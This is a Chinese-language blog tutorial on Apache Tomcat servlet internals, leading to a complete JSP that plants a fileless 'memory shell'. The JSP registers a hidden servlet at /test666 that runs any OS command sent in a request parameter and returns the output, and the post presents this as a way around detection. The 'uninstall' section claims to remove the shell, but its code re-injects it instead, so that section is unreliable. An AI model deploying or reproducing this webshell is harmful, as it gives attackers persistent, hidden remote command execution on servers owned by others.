除了通过Filter实现的内存马,也可以使用servlet,listener等实现内存马,不同的实现方式需要不同的查杀方式,有可能使用不同类型的内存马就可以绕过查杀,本片文章将带着大家了解servlet的入门、tomcat下servlet的实现、servlet内存马的实现。
servlet基础入门
什么是servlet?
servlet基本介绍
servlet是一个Java应用程序,运行在服务器端,用来处理客户端请求并作出响应的程序。servlet没有main方法不能独立运行,需要使用servlet容器比如tomcat来创建。当我们通过URL来访问servlet,首先会在servlet容器中判断该URL是由哪个servlet处理的,当前容器中是否有这个servlet实例,如果没有则创建servlet实例,并交由对应servlet的service方法来处理请求,处理结束后再返回web服务器。
servlet接口分别有如下几个方法:
1 2 3 4 5 6 7 8 9 10 11
| public interface Servlet { void init(ServletConfig var1) throws ServletException;
ServletConfig getServletConfig();
void service(ServletRequest var1, ServletResponse var2) throws ServletException, IOException;
String getServletInfo();
void destroy(); }
|
servlet生命周期
实例化:在第一次访问或启动tomcat时,tomcat会调用此无参构造方法实例化servlet。默认情况下在tomcat开启的时候不会实例化我们自定义的servlet,当我们第一次访问该servlet的时候才会去创建实例。org.apache.catalina.core.DefaultInstanceManager#newInstance(java.lang.String)
初始化:tomcat在实例化此servlet后,会立即调用init方法初始化servlet。org.apache.catalina.core.StandardWrapper#initServlet
就绪:容器收到请求后调用servlet的service方法来处理请求。org.apache.catalina.core.ApplicationFilterChain#internalDoFilter,servlet.service()方法会在过滤器链执行结束后执行。
销毁:容器依据自身算法删除servlet对象,删除前会调用destory方法,重写destroy方法,关闭tomcat时会执行servlet的destory方法。
总体过程如下所示:
servlet实现类介绍
GenericServlet
GenericServlet是Servlet 接口和 ServletConfig 接口的实现类. 但是一个抽象类,其中的 service 方法为抽象方法。也就是说如果继承了这个抽象类,只有service方法是必须重写的。
HttpServlet
HttpServlet是GenericServlet的子类,在HttpServlet中对GenericServlet进行了扩展重写了service方法,根据不同的请求方式,调用不同的方法处理请求。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String method = req.getMethod(); long lastModified; if (method.equals("GET")) { lastModified = this.getLastModified(req); if (lastModified == -1L) { this.doGet(req, resp); } else { long ifModifiedSince; try { ifModifiedSince = req.getDateHeader("If-Modified-Since"); } catch (IllegalArgumentException var9) { ifModifiedSince = -1L; }
if (ifModifiedSince < lastModified / 1000L * 1000L) { this.maybeSetLastModified(resp, lastModified); this.doGet(req, resp); } else { resp.setStatus(304); } } } else if (method.equals("HEAD")) { lastModified = this.getLastModified(req); this.maybeSetLastModified(resp, lastModified); this.doHead(req, resp); } else if (method.equals("POST")) { this.doPost(req, resp); } else if (method.equals("PUT")) { this.doPut(req, resp); } else if (method.equals("DELETE")) { this.doDelete(req, resp); } else if (method.equals("OPTIONS")) { this.doOptions(req, resp); } else if (method.equals("TRACE")) { this.doTrace(req, resp); } else { String errMsg = lStrings.getString("http.method_not_implemented"); Object[] errArgs = new Object[]{method}; errMsg = MessageFormat.format(errMsg, errArgs); resp.sendError(501, errMsg); }
|
HttpServletRequest和HttpServletResponse
在HTTPServlet.service()中传入了HttpServletRequest和HttpServletResponse对象,通过这两个对象可以获得请求和响应中的信息。
HttpServletRequest
1 2 3 4 5
| getParameter() getRequestURI() getQueryString() getServletPath() getCookies()
|
HttpServletResponse
1 2 3
| addCookie() sendRedirect() getWriter()
|
如何使用servlet?
servlet的创建和filter的创建类似,也有两种形式:
- web.xml中配置声明
- @WebServlet注解声明
web.xml配置servlet
web.xml配置如下:
1 2 3 4 5 6 7 8 9
| <servlet> <servlet-name>HelloWorld</servlet-name> <servlet-class>HelloWorld</servlet-class> //servlet类的全类名 </servlet>
<servlet-mapping> <servlet-name>HelloWorld</servlet-name> //servlet 的名字 <url-pattern>/HelloWorld</url-pattern> //访问servlet的路径 </servlet-mapping>
|
引用一张图来说明容器如何根据请求的url找到处理servlet的类,当我们发起一个请求时,会去判断我们请求的路径是否符合url-pattern匹配的内容,匹配成功会找到对应的servlet-name来处理,再根据servlet-name找到servlet-class来处理。
实际上同一个servlet类可以对应多个servlet-mapping
1 2 3 4 5 6 7 8
| <servlet-mapping> <servlet-name>HelloWorld</servlet-name> <url-pattern>/test666</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>HelloWorld</servlet-name> <url-pattern>/HelloWorld</url-pattern> </servlet-mapping>
|
接下来我们要编写HelloWorld,我们实现的Servlet类需要继承HttpServlet,并重写几个方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public class HelloWorld extends HttpServlet {
@Override public void init() throws ServletException { }
@Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { PrintWriter out = resp.getWriter(); out.println("hello world"); }
@Override public void destroy() { System.out.println("servlet has been destory!!!"); super.destroy(); } }
|
由于定义了两个servlet-mapping,因此可以通过不同的路径来请求同一个servlet。
WebServlet注解配置servlet
通过注解同样可以完成上述的servlet的配置。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| @WebServlet(name = "HelloWorld",urlPatterns = {"/HelloWorld","/test666"}) public class HelloWorld extends HttpServlet { @Override public void init() throws ServletException { }
@Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { PrintWriter out = resp.getWriter(); out.println("hello world"); }
@Override public void destroy() { System.out.println("servlet has been destory!!!"); super.destroy(); }
}
|
动态注册servlet
失败尝试
之前了解过动态注入Filter的技术,以为实现动态注册servlet的方法应该类似,因此使用下面的代码来实现。
1 2 3 4 5 6 7 8 9 10 11 12
| java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state"); stateField.setAccessible(true); Wrapper wrapper = (Wrapper) standardContext.findChild("test"); if(wrapper ==null) { stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP); TomcatServlet tomcatServlet=new TomcatServlet(); ServletRegistration.Dynamic reg = servletContext.addServlet("test", tomcatServlet); reg.setInitParameter("encoding", "utf-8"); reg.setAsyncSupported(false); reg.addMapping("/test666"); stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED); }
|
但是使用这种方式动态添加servlet后访问却是404。
问题排查
mapping未添加成功
一般来讲,我们添加的mapping会被保存到standardContext.servletMappings
中,可以查看该字段来查看mapping是否添加成功,这里可以看到自定义的mapping是添加成功了。
servlet未添加成功
跟进org.apache.catalina.core.ApplicationContext#addServlet(java.lang.String, java.lang.String, javax.servlet.Servlet, java.util.Map<java.lang.String,java.lang.String>) ,我抽出一些比较关键的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| Wrapper wrapper = (Wrapper) context.findChild(servletName); if (wrapper == null) { wrapper = context.createWrapper(); wrapper.setName(servletName); context.addChild(wrapper); } if (servlet == null) { wrapper.setServletClass(servletClass); Class<?> clazz = Introspection.loadClass(context, servletClass); if (clazz != null) { annotation = clazz.getAnnotation(ServletSecurity.class); } } else { wrapper.setServletClass(servlet.getClass().getName()); wrapper.setServlet(servlet); if (context.wasCreatedDynamicServlet(servlet)) { annotation = servlet.getClass().getAnnotation(ServletSecurity.class); } }
|
通过上面的代码,将servlet的实例和servletClass等属性添加到context中,servlet添加也没有问题。执行addservlet和addMapping后,可以看到已经将servlet的instance对象、mappings映射、servletClass等内容添加到context中。
tomcat 加载servlet分析
接下来我们就要分析为什么servlet添加成功后还是无法访问,执行servlet的service请求,一定会经过org.apache.catalina.core.ApplicationFilterChain#internalDoFilter的servlet.service()方法,因此可以在这里打断点分析问题,访问自定义的servlet的url,这里对应的servlet类型并不是定义的TomcatServlet,需要向上追钟servlet是在哪里定义的。
在ApplicationFilterChain中仅有org.apache.catalina.core.ApplicationFilterChain#setServlet会为servlet赋值,因此可以在setServlet下断点查看。
继续向上跟踪调用 org.apache.catalina.core.ApplicationFilterFactory#createFilterChain中传入了servlet。
向上跟踪调用org.apache.catalina.core.StandardWrapperValve#invoke,invoke方法中,将wrapper.allocate()的结果赋值给servlet。
跟入wrapper.allocate(),这里instance已经是DefaultServlet了,因此不会再去创建实例。所以需要继续向上追踪,查看哪里给wrapper.instance赋值的。
看看wrapper是怎么得到的,通过getContainer()获取当前对象ValveBase的container得到的。
查看上层org.apache.catalina.core.StandardContextValve#invoke调用,container的内容在wrapper中已经赋值好了。
而wrapper的内容是通过request获得的,因此要继续向上追踪request是如何获得的。
向上跟踪到org.apache.catalina.connector.CoyoteAdapter#service方法中,在service方法中,创建了request对象,经过postParseRequest方法处理后,给servletClass赋值。
在postParseRequest方法中,经过connector.getService().getMapper().map(serverName, decodedURI,version, request.getMappingData());
处理后servletClass会被赋值。
跟进map方法并向下跟踪调用,在org.apache.catalina.mapper.Mapper#find(org.apache.catalina.mapper.Mapper.MapElement[], org.apache.tomcat.util.buf.CharChunk, int, int)中会去比对访问的路径和定义的servlet路径是否相同。这里的map对象中只有我们定义的servlet的路径,并没有动态添加的servlet路径。
看到上面其实我们已经知道为什么我们动态添加的servlet没有加载了,再看看find方法的上层调用org.apache.catalina.mapper.Mapper#internalMapExactWrapper,由于没有匹配到结果,因此wrapper返回为空,不满足if条件会被直接返回。
也就是说contextVersion.exactWrappers
匹配失败,contextVersion.exactWrappers
中保存的是自定义的servlet的mapper。
exactWrappers匹配失败后会去判断contextVersion.extensionWrappers
是否匹配。
其他的类似,最后处理default servlet设置mappingData.wrapper
的值为defaultWrapper,因此访问/test666最终会执行defaultServlet。
问题解决
通过上面的分析,我们只要在contextVersion中添加Mapper即可动态加载内存马。首先看一下contextVersion.exactWrappers
是在何时赋值的,经过分析调用,在org.apache.catalina.mapper.Mapper#addWrapper(org.apache.catalina.mapper.Mapper.ContextVersion, java.lang.String, org.apache.catalina.Wrapper, boolean, boolean)中,会根据url的内容不同,给mapper的不同wrappers属性赋值,当所有的都不匹配是,才会给exactWrappers赋值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| protected void addWrapper(ContextVersion context, String path, Wrapper wrapper, boolean jspWildCard, boolean resourceOnly) {
synchronized (context) { if (path.endsWith("/*")) { String name = path.substring(0, path.length() - 2); MappedWrapper newWrapper = new MappedWrapper(name, wrapper, jspWildCard, resourceOnly); MappedWrapper[] oldWrappers = context.wildcardWrappers; MappedWrapper[] newWrappers = new MappedWrapper[oldWrappers.length + 1]; if (insertMap(oldWrappers, newWrappers, newWrapper)) { context.wildcardWrappers = newWrappers; int slashCount = slashCount(newWrapper.name); if (slashCount > context.nesting) { context.nesting = slashCount; } } } else if (path.startsWith("*.")) { String name = path.substring(2); MappedWrapper newWrapper = new MappedWrapper(name, wrapper, jspWildCard, resourceOnly); MappedWrapper[] oldWrappers = context.extensionWrappers; MappedWrapper[] newWrappers = new MappedWrapper[oldWrappers.length + 1]; if (insertMap(oldWrappers, newWrappers, newWrapper)) { context.extensionWrappers = newWrappers; } } else if (path.equals("/")) { MappedWrapper newWrapper = new MappedWrapper("", wrapper, jspWildCard, resourceOnly); context.defaultWrapper = newWrapper; } else { final String name; if (path.length() == 0) { name = "/"; } else { name = path; } MappedWrapper newWrapper = new MappedWrapper(name, wrapper, jspWildCard, resourceOnly); MappedWrapper[] oldWrappers = context.exactWrappers; MappedWrapper[] newWrappers = new MappedWrapper[oldWrappers.length + 1]; if (insertMap(oldWrappers, newWrappers, newWrapper)) { context.exactWrappers = newWrappers; } } } }
|
我们要调用addWrapper来设置wrapper的属性,首先得解决几个问题:
问题一:如何获取 ContextVersion对象?
查看addWrapper的调用链,addWrapper是由org.apache.catalina.mapper.Mapper#addWrappers(org.apache.catalina.mapper.Mapper.ContextVersion, java.util.Collection<org.apache.catalina.mapper.WrapperMappingInfo>)调用的,而addWrappers中已经传入了ContextVersion对象,所以需要继续向上追踪。
在org.apache.catalina.mapper.Mapper#addContextVersion中,创建了ContextVersion对象,但是创建直接创建这个对象需要resources这个属性,而这个属性是StandardRoot对象,在运行过程中无法通过standardContext来获取,所以不考虑通过new的方式创建ContextVersion对象,但是经过分析ContextVersion对象会被保存到mapper的contextObjectToContextVersionMap,因此可以通过获取mapper-》contextObjectToContextVersionMap-》ContextVersion来获取ContextVersion对象。
可以将获取ContextVersion是的问题转换为获取Mapper对象的问题。继续向上跟踪org.apache.catalina.mapper.MapperListener#registerContext中,通过mapper对象来调用的addContextVersion。
经过调试发现,mapper对象可以通过StandardService来获取,而applicationContext中可以获取service对象,因此获取ContextVersion的问题可以解决。
问题二:如何创建一个Wrapper对象?
在addWrapper中的wrapper是一个StandardWrapper对象,所以要分析如何获取StandardWrapper对象。
在StandardWrapper的构造方法打断点,可以看到在org.apache.catalina.core.StandardContext#createWrapper中,可以获取StandardWrapper对象。StandardContext是可以动态获取的,因此可以通过StandardContext.createWrapper方法获取到StandardWrapper对象。
但查看addWrapper方法中的wrapper对象,其使用的还是非常多的。
但是这点不用担心,因为通过new StandardWrapper()
创建wrapper就会设置很多属性,只要对instance、servletclass、mappings等和servlet有关的属性设置就可以了。
servlet内存马实现
在本部分的内容不讲如何获取standardContext、applicationContext等对象了,之前在Filter内存马的时候分析过了。假设已经获取了standardContext、applicationContext对象,下面获取其他对象。
获取ContextVersion
1 2 3 4 5 6 7 8
| Field serviceF = applicationContext.getClass().getDeclaredField("service"); serviceF.setAccessible(true); StandardService service = (StandardService) serviceF.get(applicationContext); Mapper mapper = service.getMapper(); Field contextObjectToContextVersionMapF = mapper.getClass().getDeclaredField("contextObjectToContextVersionMap"); contextObjectToContextVersionMapF.setAccessible(true); ConcurrentHashMap contextObjectToContextVersionMap = (ConcurrentHashMap ) contextObjectToContextVersionMapF.get(mapper); Object contextVersion = contextObjectToContextVersionMap.get(standardContext);
|
创建Wrapper对象并赋值
1 2 3 4 5 6
| StandardWrapper wrappershell = (StandardWrapper) standardContext.createWrapper(); TomcatServlet tomcatServlet=new TomcatServlet(); Field instanceF = wrappershell.getClass().getDeclaredField("instance"); instanceF.setAccessible(true); instanceF.set(wrappershell,tomcatServlet); wrappershell.setServletClass(Class.forName("TomcatServlet").getName());
|
通过上面的设置,可以得到StandardWrapper对象,并且设置其中的instance和servletClass属性,下面尝试通过wrappershell.addMapping("/test666");
但是这么设置后由于没有给StandardWrapper设置parent属性所以会抛异常。
在addWrapper方法中,wrapper.parent是StandardContext对象,因此需要设置StandardWrapper.parent为StandardContext。
parent属性的定义在org.apache.catalina.core.ContainerBase中
1 2 3 4
| Field parent = ContainerBase.class.getDeclaredField("parent"); parent.setAccessible(true); parent.set(wrappershell, standardContext); wrappershell.addMapping("/test666");
|
addWrapper设置exactWrappers
下面通过反射调用addWrapper
1 2 3 4 5
| Class[] classes = mapper.getClass().getDeclaredClasses(); Class contextversionClass = classes[1]; Method addWrapper = mapper.getClass().getDeclaredMethod("addWrapper", contextversionClass, String.class, Wrapper.class, boolean.class, boolean.class); addWrapper.setAccessible(true); addWrapper.invoke(mapper, contextVersion, "/test666", wrappershell, false, false);
|
最终成功实现内存马的功能。
给出完整的JSP代码,如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="javax.management.MBeanServer" %> <%@ page import="org.apache.tomcat.util.modeler.Registry" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="com.sun.jmx.mbeanserver.NamedObject" %> <%@ page import="java.util.Map" %> <%@ page import="java.util.HashMap" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.lang.reflect.Method" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.InvocationTargetException" %> <%@ page import="org.apache.catalina.core.StandardService" %> <%@ page import="org.apache.catalina.mapper.Mapper" %> <%@ page import="java.util.concurrent.ConcurrentHashMap" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page import="org.apache.catalina.core.StandardWrapper" %> <%@ page import="org.apache.catalina.core.ContainerBase" %>
<html> <head> <title>servletContext</title> </head> <body> <% class TomcatServlet extends HttpServlet {
private final String cmdParamName = "sectest666"; @Override public void init() throws ServletException { }
@Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String cmd; if ((cmd = req.getParameter(cmdParamName)) != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } resp.getOutputStream().write(stringBuilder.toString().getBytes()); resp.getOutputStream().flush(); resp.getOutputStream().close(); return; } }
@Override public void destroy() { super.destroy(); }
} %>
<% class test666 {
} %> <% try{ java.lang.reflect.Field WRAP_SAME_OBJECT=Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT"); Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain"); java.lang.reflect.Field lastServicedRequest = applicationFilterChain.getDeclaredField("lastServicedRequest"); java.lang.reflect.Field lastServicedResponse = applicationFilterChain.getDeclaredField("lastServicedResponse");
java.lang.reflect.Field modifiers = java.lang.reflect.Field.class.getDeclaredField("modifiers"); modifiers.setAccessible(true); modifiers.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~java.lang.reflect.Modifier.FINAL); modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~java.lang.reflect.Modifier.FINAL); modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
WRAP_SAME_OBJECT.setAccessible(true); lastServicedRequest.setAccessible(true); lastServicedResponse.setAccessible(true);
if(!WRAP_SAME_OBJECT.getBoolean(null)){ WRAP_SAME_OBJECT.setBoolean(null,true); lastServicedRequest.set(null,new ThreadLocal()); lastServicedResponse.set(null,new ThreadLocal()); out.println("WRAP_SAME_OBJECT change success!please try again for Inject Servlet"); }else{ ThreadLocal<javax.servlet.ServletRequest> threadLocalRequest = (ThreadLocal<javax.servlet.ServletRequest>) lastServicedRequest.get(null); javax.servlet.ServletRequest request1 = threadLocalRequest.get(); try { javax.servlet.ServletContext servletContext=request1.getServletContext();
java.lang.reflect.Field contextField=servletContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext); contextField=applicationContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); org.apache.catalina.core.StandardContext standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);
Field serviceF = applicationContext.getClass().getDeclaredField("service"); serviceF.setAccessible(true); StandardService service = (StandardService) serviceF.get(applicationContext); Mapper mapper = service.getMapper(); Field contextObjectToContextVersionMapF = mapper.getClass().getDeclaredField("contextObjectToContextVersionMap"); contextObjectToContextVersionMapF.setAccessible(true); ConcurrentHashMap contextObjectToContextVersionMap = (ConcurrentHashMap ) contextObjectToContextVersionMapF.get(mapper); Object contextVersion = contextObjectToContextVersionMap.get(standardContext); java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state"); stateField.setAccessible(true); Wrapper wrapper = (Wrapper) standardContext.findChild("test"); if(wrapper ==null) { TomcatServlet tomcatServlet=new TomcatServlet(); StandardWrapper wrappershell = (StandardWrapper) standardContext.createWrapper(); Field instanceF = wrappershell.getClass().getDeclaredField("instance"); instanceF.setAccessible(true); instanceF.set(wrappershell,tomcatServlet); wrappershell.setServletClass("TomcatServlet"); Field parent = ContainerBase.class.getDeclaredField("parent"); parent.setAccessible(true); parent.set(wrappershell, standardContext); wrappershell.addMapping("/test666"); Class[] classes = mapper.getClass().getDeclaredClasses(); Class contextversionClass = classes[1]; Method addWrapper = mapper.getClass().getDeclaredMethod("addWrapper", contextversionClass, String.class, Wrapper.class, boolean.class, boolean.class); addWrapper.setAccessible(true); addWrapper.invoke(mapper, contextVersion, "/test666", wrappershell, false, false); out.println("Servlet has been Inject,please visit /test666?sectest666=whoami"); } }catch (Exception e){ e.printStackTrace(); } }
}catch (Exception e){ e.printStackTrace(); } %> </body> </html>
|
servlet内存马卸载
查看org.apache.catalina.mapper.Mapper代码,发现代码中存在org.apache.catalina.mapper.Mapper#removeWrapper(org.apache.catalina.mapper.Mapper.ContextVersion, java.lang.String)方法,只需要传入ContextVersion对象和path即可完成内存马的卸载。
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| try{ try { javax.servlet.ServletContext servletContext=req.getServletContext(); java.lang.reflect.Field contextField=servletContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext); contextField=applicationContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); org.apache.catalina.core.StandardContext standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);
Field serviceF = applicationContext.getClass().getDeclaredField("service"); serviceF.setAccessible(true); StandardService service = (StandardService) serviceF.get(applicationContext); Mapper mapper = service.getMapper(); Field contextObjectToContextVersionMapF = mapper.getClass().getDeclaredField("contextObjectToContextVersionMap"); contextObjectToContextVersionMapF.setAccessible(true); ConcurrentHashMap contextObjectToContextVersionMap = (ConcurrentHashMap ) contextObjectToContextVersionMapF.get(mapper); Object contextVersion = contextObjectToContextVersionMap.get(standardContext); java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state"); stateField.setAccessible(true); TomcatServlet tomcatServlet=new TomcatServlet(); StandardWrapper wrappershell = (StandardWrapper) standardContext.createWrapper(); Field instanceF = wrappershell.getClass().getDeclaredField("instance"); instanceF.setAccessible(true); instanceF.set(wrappershell,tomcatServlet); wrappershell.setServletClass("TomcatServlet"); Field parent = ContainerBase.class.getDeclaredField("parent"); parent.setAccessible(true); parent.set(wrappershell, standardContext); wrappershell.addMapping("/test666"); Class[] classes = mapper.getClass().getDeclaredClasses(); Class contextversionClass = classes[1]; Method addWrapper = mapper.getClass().getDeclaredMethod("addWrapper", contextversionClass, String.class, Wrapper.class, boolean.class, boolean.class); addWrapper.setAccessible(true); addWrapper.invoke(mapper, contextVersion, "/test666", wrappershell, false, false); }catch (Exception e){ e.printStackTrace(); }
}catch (Exception e){ e.printStackTrace(); }
|